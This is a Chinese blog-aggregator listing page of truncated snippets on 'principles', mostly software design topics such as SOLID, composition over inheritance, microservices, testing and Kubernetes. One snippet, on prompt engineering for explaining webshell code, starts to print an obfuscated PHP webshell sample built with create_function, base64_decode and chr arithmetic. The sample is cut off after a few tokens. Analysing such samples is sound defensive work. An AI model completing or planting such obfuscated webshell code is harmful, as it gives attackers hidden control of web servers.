20230419原则

软件设计原则(转)

原文:https://mp.weixin.qq.com/s?__biz=MzA3NjU5ODU1Nw==&mid=2247484119&idx=1&sn=a05e38fc0f67e9de93cd44fe2647a6bb&chksm=9f5f9ea5a82817b373c45f39fc87706f29 ......
原则 软件

面向对象的设计原则

什么样的代码可以称之为好代码?又如何评价代码比较差?每个人也许都有自己的标准,但是在软件设计领域中,有一套通过经验总结出来的,可以有效解决问题的指导思想和方法论,遵从这些原则,可以事半功倍,反之则有可能带来一些麻烦。 ## SOLID `SOLID`是五种设计原则首字母的缩写,有趣的是这个单词本身就 ......
对象 原则

设计原则之组合优先继承

“组合优于继承”是一个面向对象编程的设计原则,它建议我们在需要复用代码的时候,尽量使用组合(has-a)的方式,而不是继承(is-a)的方式。组合是指一个类包含另一个类的对象作为自己的属性,而继承是指一个类直接从另一个类派生出来,拥有其所有的属性和方法。 为什么要使用组合而不是继承呢?主要有以下几个 ......
原则

【面向对象】六大原则

## 总述 面向对象编程的六大原则是通过多年的实践和经验总结而来的,它们被广泛接受为指导面向对象软件设计和开发的基本准则。包括以下六点: - 单一职责原则(Single Responsibility Principle,SRP) - 里氏替换原则(Liskov Substitution Princi ......
对象 原则

如何高效地利用四象限原则管理时间?

时间管理,无论是对于上班族来说学生党来说,都是不可避免的难题。很多人总是被繁忙的生活和工作压得喘不过气来,事情太多、时间太少,不知道从何做起。在学习如何进行时间管理时,相信你一定接触了时间管理四象限原则,它将每天的事情按照轻重缓急程度分为四种:紧急且重要、紧急但不重要、重要但不紧急、既不紧急也不重要 ......
原则 时间

第十八节 接口,依赖反转原则、单元测试,接口隔离原则

视频链接:刘铁猛老师的《C#语言入门详解》 [https://www.youtube.com/watch?v=EgIbwCnQ680&list=PLZX6sKChTg8GQxnABqxYGX2zLs4Hfa4Ca](https://www.youtube.com/watch?v=EgIbwCnQ68 ......
接口 原则 单元

第十七节 抽象类和开闭原则

视频链接:刘铁猛老师的《C#语言入门详解》 [https://www.youtube.com/watch?v=EgIbwCnQ680&list=PLZX6sKChTg8GQxnABqxYGX2zLs4Hfa4Ca](https://www.youtube.com/watch?v=EgIbwCnQ68 ......
原则

Java的先行发生原则

先行发生原则(Happens-Before)是Java内存模型定义的一个等效判断原则。依赖这个原则,我们可以通过几条简单规则判断数据是否存在竞争,线程是否安全,而不需要陷入Java内存模型苦涩难懂的定义之中。 ......
原则 Java

项目设计原则(新增用户故事)

用户故事: (1):角色: 作为一个上班人员我每天需要从家里到公司开车,我想要各个地区的计价收费以及路况情况。 (2):需求: 计时收费:根据用户租赁的总体时长进行计算收费。 路程收费:根据用户的开车总路程进行计算收费。 (3)商业价值: ①第一要务肯定是要考虑如何盈利,只有保证自身不断发展,才能推 ......
原则 项目 故事 用户

Blender+kanzi 变换归原则和应用窗口的变换使用方法。

1、选中物体,ctrl+a 弹出 应用窗口,选择应用旋转,它会把变换的窗口数值都归0.同理其他的也是一样。这个操作会把模型的轴心回归到blender画面的中心点儿。 如果不归0的话,导入到kanzi里面,模型就跟kanzi里的不一致。 2、移动物体到左上角,设置原点到几何中心。 ctrl + a 全 ......
使用方法 原则 Blender 方法 kanzi

微服务之道:8个原则,打造高效的微服务体系

hi,我是熵减,见字如面。 现在,在大型的软件工程系统中,微服务化的系统设计,成为了大部分时候的必然之选。 而如何将微服务做有效的设计,则是需要每一个团队和工程师都需要考虑的一个问题。在保持系统的一致性、可理解性、可维护性和可扩展性上,需要有一些基本的指导原则。 下面分享微服务设计和实践中的8个基础 ......
原则 体系

SOLID设计原则

**单一责任原则(SRP)****一个类只能有一个职责(一个功能)**![U7I(QNLB[{I@T{RHTHJ4)22.png](https://cdn.nlark.com/yuque/0/2023/png/26685752/1685417749842-15fe401e-9f01-49d3-804 ......
原则 SOLID

# 软件测试06:软件测试原则和测试用例

# 软件测试06:软件测试原则和测试用例 ## 软件测试原则 - 所有测试的标准都是建立在用户需求之上 - 软件测试必须基于"质量第一"的思想去开展各项工作,当时间和质量冲突时,时间要服从质量 - 事先定义好产品的质量标准,只有有了质量标准,才嫩如果根据测试的结果,对产品的质量进行分析和评估 - 软 ......
软件测试 软件 原则

面向对象编程中的6大设计原则

面相对象编程中,参考以下编码原则,可以帮助提升程序的可维护性、可扩展性、可复用性。这些原则也是设计模式的基础。 # 单一职责原则 > There should never be more than one reason for a class to change 定义:应该有且仅有一个原因引起类的变 ......
对象 原则

索引的使用,最左前缀原则

# 索引的使用,最左前缀原则 创建索引可以大大提高系统的性能。 第一,通过创建唯一性索引,可以保证数据库表中每一行数据的唯一性。 第二,可以大大加快数据的检索速度,这也是创建索引的最主要的原因。 第三,可以加速表和表之间的连接,特别是在实现数据的参考完整性方面特别有意义。 第四,在使用分组和排序子句 ......
前缀 索引 原则

详解敏捷宣言(原则)

https://www.jianshu.com/p/9532d3af3c2c 对于敏捷开发一词,对于很多人已不在陌生,在前面几期中也给大家介绍过,今天来了些新的朋友,在简单的讲一下。敏捷开发起源于1990年代开始广泛引起关注的新型的软件开发方法,是一种快速应对需求变化的软件开发能力。敏捷开发不是一套 ......
宣言 原则

他们在学校里不会教你的编程原则

## 前言 在大学的时候,学校一般只会教你你写编程语言,比如C、C++、JAVA等编程语言。但是当你离开大学进入这个行业开始工作时,才知道编程不只是知道编程语言、语法等,要想写好代码,必须还要了解一些编程原则才行。本文主要讨论`KISS`、`DRY`和`SOLID`这些常见的编程原则,而且你会发现随 ......
原则 学校

设计模式-软件设计原则

## 开闭原则 定义:一个软件实体如类,模块和函数应该对扩展开放,对修改关闭 用抽象构建框架,用实现扩展细节 优点:提高软件系统可复用性和可维护性 ## 依赖倒置原则 定义:高层模块不应该依赖底层模块,二者都应该依赖其抽象 抽象不应该依赖细节,细节应该依赖抽象 针对接口编程,不要针对实现编程 优点: ......
设计模式 原则 模式 软件

系统工程(五)系统工程建设原则

1、高层管理人员介入原则:扫除利益相关的障碍 2、用户参与开发原则:开发是根据用户的需求 3、自顶向下规划原则:从全局考虑 4、工程化原则:方法原则 5、其它原则:创新、整体性、发展性、经济性原则。 ......
工程 系统 工程建设 原则

设计模式的七大原则

文章转自 https://www.cnblogs.com/WindSun/p/10223080.html 软间的可维护性和可复用性 知名软件大师Robert C.Martin认为一个可维护性(Maintainability) 较低的软件设计,通常由于如下4个原因造成: •过于僵硬(Rigidity) ......
设计模式 七大 原则 模式

Prompt Engineering优化原则 - 以Webshell代码解释为例

一、LLM prompt优化原则 本文围绕“PHP代码解释”这一任务,讨论LLM prompt优化原则。 代码样例如下: <?php echo "a5a5aa555o"; $fOgT = create_function(base64_decode('JA==') . chr(114195 / 993 ......
Engineering Webshell 原则 代码 Prompt

Kubernetes 架构原则和对象设计

Kubernet¶ Kubernetes 架构原则和对象设计¶ 什么是云计算¶ 云计算平台的分类¶ 以Openstack为典型的虚拟化平台 虚拟机构建和业务代码部署分离。 可变的基础架构使后续维护风险变大。 以谷歌borg为典型的基于进程的作业调度平台 技术的迭代引发borg的换代需求。 早期的隔离 ......
Kubernetes 架构 对象 原则

java学习日记20230522-集合选择原则

1.判断存储的类型,一组对象【单列】或者一组键值对【双列】 2.一组对象【单列】:collection 的子类:允许重复:List的某个实现类:增删多 LinkedList(底层维护的是双向链表) 改查多 ArrayList(底层维护的是object类型的可变数组) 不允许重复,Set某个实现类:无 ......
20230522 原则 日记 java

软件设计中的一些原则介绍

软件设计原则介绍: 软件设计的目的:代码复用性、可扩展性、可维护性。 ## 高内聚低耦合(High Cohesion & Low coupling) 高内聚,就是对软件系统中元素职责相关性和集中度高的功能放一起。在编写代码时,代码内的功能职责相关性高的放在一起。 与之相反 - 低耦合,低耦合是对元素 ......
原则 软件

工程师的十条精进原则

这篇博客内容是我三年前刚入职不久在其他地方浏览并二次整理的,如今三年岁月匆匆而过,回头再次 check 了下这十条原则,体会更加深刻。 一. Owner意识 体现在两个层面:一是认真负责的态度,二是积极主动的精神 认真负责是工作的底线。 首先,要对我们交付的结果负责。项目中每一个设计文档、每一行代码 ......
原则 工程师 工程

钉钉通知处理原则

钉钉异常,通知原则 越来越少 例如: 业务中,这种先注销,后退学的,那这种的不会引起什么问题 就可以不用再通知了 ; 比如其他原因的通知的,那能不能从业务和程序层面处理 处理完也不再通知了; 最终的效果就是通知的越来越少 ,甚至都没通知了, 才是最好的。 处理完不再通知 ,不是说不让通知了。而是把这 ......
处理原则 原则

开闭原则

开闭原则(Open-Closed Principle, OCP)是指一个软件实体如类、模块和函数应该对扩展开放,对修改关闭。 实现开闭原则的核心思想就是面向抽象编程,现在我们思考一个场景,有一个课程类,课程类作为父类,有许多子类,比如java课程,python课程,前端课程... 课程类中有价格属性 ......
原则

Pytest用例设计原则

用例设计原则 文件名为test_*.py和*_test.py 以test_开头的函数 以Test开头的类,test_开头的方法,并且不能有__init__方法 所有的package包必须有__init__文件 断言使用assert 常用断言 assert xx 判断xx为真 assert not x ......
原则 Pytest

设计原则

一 单一职责原则 职责: 引起变化的原因 SRP原则:一个对象(方法)只做一件事 SRP原则的应用难点就是如何去分离职责 1 何时应该分离职责 并不是所有职责都应该一一分离 如果随着需求变化,职责总是同时变化的就不必分离 创建xhr对象 & 发送xhr请求 职责的变化轴线仅当他们确定会发生变化时才有 ......
原则

禅道软件设计六大原则

每一个产品都是为了解决某个问题而产生的,在诞生之初都是有自己的目标和原则的。只不过随着时间发展,产研团队慢慢更换,很多东西就慢慢丢掉了,改变了。所以在设计完善禅道项目管理软件的时候,我一直都比较恐慌,唯恐哪一天禅道也变成了自己不喜欢的样子。于是也有了一些自己固执地坚持,不肯妥协的原则,跟大家分享下。 ......
原则 软件